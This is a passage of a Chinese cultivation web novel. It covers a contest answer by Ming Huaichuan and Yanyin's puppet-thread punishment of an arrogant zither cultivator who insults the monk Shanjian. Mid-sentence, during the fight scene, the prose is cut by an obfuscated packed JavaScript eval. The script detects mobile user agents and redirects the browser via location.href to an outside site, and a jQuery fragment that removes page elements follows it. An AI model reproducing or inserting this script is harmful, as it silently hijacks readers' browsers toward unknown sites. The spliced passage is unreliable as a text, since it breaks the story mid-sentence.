然而卿寒似乎有意为难他,突然话风一转,虽是笑容,眼里却毫无温度:“听说你就是音音第一次下山的实践对象?” 没等明怀川回答,折扇一合。 唰! “敢问道友家产几何,灵石有无,师承何处,洞府所在,修为天赋有甚优势?哎呀呀哎呀呀,人不能除了长相一无所有,你说对吧,明道友?” 明怀川:“……” 好刁钻的问题,绵里藏针。 答得果断有炫耀之意,答得支吾有轻慢的嫌疑,否认就坐实了他徒有表象,承认又难免陷入自证陷阱。 搬出明家也无用,先不说明家是隐世家族,明怀川无意透露,有穿越这重因素在,他的身份根本掰扯不清楚。 电光火石之间他摸了摸鼻子,目光下撇偏移三分,那完全是个下意识的动作,却不经意摧毁他冷漠强势的气质,平添些许真诚的少年气。 “咳……”声音也放轻了,明怀川道,“在下不才,身无长物,亦无师承,若有哪里做得不好,还望雁音姑娘,多多包涵。” 说完作了个揖。 雁音坐在台下,反应慢了片刻,朝台上:“唔,无妨。” 然后被扇柄敲了下头。 她听见师姐磨牙的轻声:“我在帮你敲打他,你怎的胳膊肘往外拐,还帮他说话。” 可是。 雁音默默地想,不帮他说话的话,她的钱包和作业又该何去何从呢? 但明怀川的作答没有结束,他被雁音所救,先不论心动与否,这份恩情是一定要还的。 “这位师兄,”他向十二师兄拱手,“还请为我准备纸笔。” 抛开明家藏书阁浩瀚藏书不提,明怀川自己在外游历多年也闯过秘境,获得过不少上古流传的孤本秘籍,他在脑海中回忆,去掉那些有境界灵力要求的、有争议的、或许有传人在世的,挑挑拣拣选择一本防御性质的招式秘籍,在纸张下笔唰唰默写口诀。 “这是我偶然得来的,以雁音姑娘的名义赠与贵宗,”只是一本筑基期可用的秘籍,既不过分招摇引来他人觊觎,也不显得他光有皮囊没有能力,他将纸张转交给卿寒,“一点心意,望贵宗收下。” 卿寒笑眯眯道:“一本秘籍,就能抵救你一命的恩情了吗?” “当然不是。” 明怀川不卑不亢,可语气中有不容忽视的强硬:“但如何报恩,如何支付代价,那便是我与姑娘二人的事了。” 他不会当众许诺。 两人之间的私事何必摊在众人面前评说。就算面前这位师姐因此将他淘汰,明怀川也不会改变他的答案。 场下观众鼓掌的有,吹口哨的有,现在问答环节到此结束,明怀川沉默不言,现在倒是卿寒这边陷入僵局,从她面相上看不出对明怀川的回答是满意还是鄙夷,打分的笔迟迟未动。 雁音不动声色地把小板凳靠得离卿寒近了点。 像个背后灵。 “满分满分满分给满分吧求求你了师姐师姐师姐好不好要满分……” 逐渐在精神污染中迷失自我的卿寒:“……” 算了,反正答得也不差。 就看在过于臭屁的态度上扣两分吧。 沾满墨水的毛笔终于落在纸面,雁音挨个瞅了眼评委们的打分便抱着小板凳起身,偷偷摸摸地来再偷偷摸摸地走,只有游丝般的欢呼声遗留了下来。 11.第 11 章 明怀川拿到的是目前全场最高分,而在他之后出场的选手不足十人,不出意外能进入第二轮。光从本人的表情看不出他对这个结果的任何看法,他从容点头,带着雁音精心裁剪的衣装,退场也要做得完美。 后台喧闹、嘈杂,舞台上十二师兄和下一名选手的对话都被掩盖,来往的人群神色匆匆,四下张望甚至能在一些人脸上看到临近登台前的紧张。 明怀川看见雁音掀开后台入口的帘子,高兴地小跑而来时,依旧维持不动如山的淡然。 “高兴了吧。”他说。 “嗯。”雁音点头,“现在保底能获得八颗合欢露了呢,我们对半分,你至少能拿到四颗。” “我不用,都给你。” “啊?都给我?”雁音疑惑,挠了挠脸,“你身上的伤不治了吗?” 明怀川:“……” 坏了,忘记了,一不小心装过头了。 沉默一时令人尴尬。 但想要他承认这种低级错误绝非易事,明怀川扭过头,不看雁音脸上的表情,道:“那什么,我并不知合欢露该如何使用,伤如何治得由你说了算,自然都得给你。” 很合理。 雁音被这个理由说服了,跟着明怀川看向角落的视线一道点头,她被角落的衣料吸引住视线,没看见明怀川明显松了口气的样子,反倒看见善见大师不知为何出现在了他本不应该在的后台。 “大师,”雁音挥了挥手,“这里。” 善见明显回应了她,双手端着的托盘使他无法合掌,只好张口,似乎念了句阿弥陀佛。 善见开始朝两位施主所在的方位走来,然后后台比想象中更加无序混乱,堆积的杂物、随意摆放的道具,到处是小跑着前行的过路客,仅仅是走过来的不足三十步的一小截路,他就不小心撞到了人。 “谁啊!是谁没长眼睛!”那人怒道。 “阿弥陀佛,施主很抱歉,不小心撞到了您,是贫僧的过错。” 那是位身着月白色长袍的男性,抱着一把约莫五尺高的乌木琴,精心勾勒出的眉眼间透露着陌生。 雁音不认识他,但觉得他有些眼熟,这一身也绝非是合欢宗的道袍,她思考一秒,想起这人是来参加宗门大选的其他门派的弟子,好像是个琴修。 琴修怒气冲冲:“哪里来的臭和尚,走路不长眼,把我的琴撞坏了你赔得起吗!” 善见好脾气地回应:“那便请这位施主检查一二,若是琴有损坏,贫僧一定会竭尽全力赔偿于你。” 其实琴连点漆都没掉。 善见自己都是具摇摇晃晃的尸体,端着一个木制的托盘走得小心翼翼,他勉强练气修为,说要是入道了那也确实如此,毕竟身上的确看得见灵力,但那琴修少说筑基末期的修为,他护着自己的琴和善见撞上,就算把善见撞散架了琴都不会坏。 碰瓷? 雁音和明怀川都赶了过来,雁音盯着琴修的面容看了半天,脑海中忽然灵光一闪。 “啊,我想起来了,你是师姐说的那个看似高贵纯洁遗世而独立,实际孤芳自赏看不起别人的琴修!” 就比明怀川提前三四个顺序出场,介绍自己时说“某乃流音宗真传弟子,汝等有幸,吾三日前得新曲灵感,汝等便听我演奏一曲吧”的琴修。 然后被师姐怼:“刚练三天就不要拿出来丢人现眼了。” 总之很丢人。 想法很美好,现实很骨感,琴修大概是被数落一通觉得没脸,想发泄但是找不到顺气的出口,这时和修为低下又看起来与上一轮榜首很熟悉的善见刚好撞上,顺理成章将他当成撒气的对象。 练三天怎么了?能有幸聆听他们流音宗弟子弹琴是这帮俗人的福分! “你,合欢宗弟子,”琴修认出雁音的衣服,拿鼻孔看人。 琴修在流音宗向来傲慢惯了,没觉得哪里有问题,冷笑道,“你们合欢宗不是自诩喜爱美人吗,吾竟不知道你们审美竟然下降得如此厉害,居然将这种丑货也放上山。” 世人通常不会接受一张青白惨淡的死人脸,善见也清楚知道这点,因此平日一般会用斗篷把整张脸藏在阴影下。然而冲撞掀起的风浪足以掀开遮蔽的布料,将他那张蜈蚣般扭曲的缝合脸暴露在天光之下。 此时他的善良和慈悲仿佛都不重要了,仅凭长相就成了琴修攻击他的武器。 琴修轻蔑道:“这种丑陋可笑的家伙,你们合欢宗也吃得下口?” 太刺耳了。 后台合欢宗弟子数量不少,早已团团将他们围住,他们大多都知晓小师妹带了个神秘的和尚回来,并不如琴修所想那般诧异或气恼。 他环视一圈,最终落点却在最早挑衅他的雁音和明怀川身上。 明怀川身处人群中央,果断无视琴修的挑衅,转头问雁音:“流音宗?有些耳熟,很有名吗?” “你!你这孤陋寡闻的小人,”琴修气急败坏,“竟敢侮辱我师门!小师祖是绝对不会容许你们信口开河!” 雁音也不理他,转头回答明怀川的问题:“是合欢宗的邻居,就在五百里外的山上,是个以乐器闻名的门派。” “原来如此。” 合欢宗是个规模不大的小门派,流音宗比合欢宗好上那么一点,是个不大不小的门派。 学乐器的,另类些可以理解,但不能过于另类到没有教养。 雁音决定给他一个教训。 首先,她向人群询问:“请问谁是这位琴修道友的举荐人?” 边缘一个师兄抱臂回答,声音凉凉的:“是我,不过我俩可不熟,各取所需搭个伴参加比赛而已,小师妹你随意处置吧。” “好,谢谢师兄。” 雁音想,现在解决了关系切割的问题。 其次,她偷偷问明怀川:“球哥你打得过他吗,在不影响伤势的情况下?” “无碍。”明怀川说。 琴修近身就是纯废物,别说这人修为可能比他低上一线,就算和他齐平或者比他高,在极近的距离之下,这种琴修明怀川一个人能打十个。 不知道他到底吃错了什么药才敢贴脸嘲讽一个剑修的,即使明怀川没有剑。 人群紧密团结,被团团围住的人根本无处可逃,明怀川活动肩膀,热热身,以迅雷不及掩耳之势冲上去—— 一把抢走了琴修的琴! 而后手刀!肘击! 闪电般密集的攻击迅速朝向后颈和丹田,等琴修反应过来时他惊愕地抱着肚子蹲下,丹田和后颈的经脉连结处被击中导致灵力阻滞一瞬! 也就是在这一瞬,傀儡线悄悄攀爬、渗入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408212|200414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、蔓延至他的关节。 琴修察觉到自己动不了了。 他的四肢和躯干都仿佛不再由他掌握,一股继阴冷又温暖的灵力接手他身体的操控权,他惊恐地发现躯体开始摇晃,动作机械僵硬却又富有节奏感——那分明是一种舞蹈。 这姿态实在滑稽而搞笑。 周围的合欢宗弟子看热闹不嫌事大,鼓掌的鼓掌,吹口哨的吹口哨,纷纷叫好,只有琴修心中绝望。 “你做了什么?”明怀川站在雁音身边,问道。 “他说善见大师可笑所以不配留在合欢宗,”雁音消化了琴修的话,“我觉得,现在他跳完舞变得更可笑之后,应该就能改变他的观念了吧。” “所以你让他跳的什么舞?” 雁音目光纯良:“十八摸。” 用傀儡线控制活人以雁音目前的水平来说有些吃力,她草草让琴修跳完了最后一个动作,到底没做绝,留了衣服在身上。 随即松开控制。 “等着吧……”琴修快把自己气绝过去,声音断断续续的,“流音宗不会放过你们的!” 人群不为所动,嘻嘻哈哈地说:“你要怎么不放过啊?”、“我可是用留影珠录像了的哦!”、“打小报告就全修真界给你广播。” 雁音却只是望着他,眼里唯有疑惑。 “我不理解。”她说,“你为什么要在合欢宗的地盘说,流音宗不会放过我们。难道不是应该我们才有资格说,我们合欢宗不容许外人撒野吗?” “……我可是,”琴修语气弱了三分,“我可是流音宗真传弟子!” “我知道啊,还要再互亮一次身份吗?”雁音虽不理解但照做,“我可是合欢宗弟子,你走吧,我代表合欢宗不欢迎你。” 琴修咬唇,双目通红,却没有挪动步伐。 “为什么不动?”雁音歪头,“是不肯走吗?” “雁施主。” 平缓的声音从身后传来,一双布满骨节的手拍拍她的背,善见大师越众而出。 “请让我与这位琴修施主说说吧。” 见他执着,雁音也不再多说。师兄师姐们担心她才围过来的,此时见危机解除也作鸟兽散。她拉着明怀川走回最初交谈的地方,余光中见善见大师将乌木琴交还于他,再低声说了声抱歉。 毕竟他确实冲撞了琴修。 再往后说了些话雁音便不得而知,斗篷恰好挡住了脸,也因此遮蔽住善见的唇形。雁音只看见几个呼吸之后,琴修的情绪有所平复,不再是那副马上就要被气昏厥的样子,而是苍白着脸低声说了句告辞,抱着琴摇摇欲坠地站起身,朝出口走去。 “多谢两位施主为贫僧解围。” 善见汇合,仍旧那副只喜不悲的模样,雁音实在好奇,拉着大师的衣袖:“你都跟他说什么了?” 怎么突然就变脸了。 “贫僧只是说了些宽慰的话,是那位施主自己有慧根,有所体悟。”善见慢慢地说,“阿弥陀佛,我佛慈悲,我不渡世人,谁渡世人。” 话音刚落。 就听见琴修恶狠狠的声音顺着风遥遥传回。 “你等着!我一定会回来的——” 于是善见从善如流地话锋一转:“当然,若有人心如顽石,渡不了,贫僧也是没有办法的呀。”